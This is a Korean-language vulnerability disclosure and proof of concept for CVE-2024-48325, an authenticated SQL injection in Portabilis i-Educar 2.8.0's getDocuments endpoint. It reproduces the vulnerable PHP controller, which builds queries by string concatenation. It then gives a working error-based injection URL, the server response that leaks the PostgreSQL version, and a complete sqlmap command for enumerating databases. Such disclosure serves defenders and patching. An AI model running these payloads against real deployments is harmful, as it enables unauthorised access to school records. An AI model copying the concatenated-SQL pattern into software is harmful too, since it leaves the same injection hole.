CVE-2024-48325

설명: 인증된 사용자는 InstituicaoDocumentacaoController 클래스의 getDocuments 함수에 존재하는 SQL 인젝션 취약점을 악용할 수 있습니다. /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id의 instituicao_id 매개변수가 제대로 검증되지 않아, 인증된 원격 공격자가 악의적인 SQL 명령을 주입할 수 있습니다.

버전: Portabilis i-Educar 2.8.0에서 발견되었습니다.

개념 증명

취약점 세부 정보

이 문제는 InstituicaoDocumentacaoController 클래스의 getDocuments 함수에 존재하며, 다음 엔드포인트를 통해 트리거될 수 있습니다:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

취약점 발생 방식

instituicao_id 매개변수는 적절한 검증이나 매개변수화 없이 SQL 쿼리에 직접 사용됩니다. 이로 인해 공격자는 악의적인 HTTP 요청을 보내 SQL 명령을 주입할 수 있으며, 데이터베이스에 대한 무단 액세스를 얻거나 데이터를 조작할 수 있습니다.

• 취약점을 유발하는 예제 엔드포인트: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
• 예제 익스플로잇: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

서버 응답:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

자동화된 악용

이 취약점은 SQLMap과 같은 자동화 도구로도 악용될 수 있으며, 데이터베이스 열거가 가능합니다: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap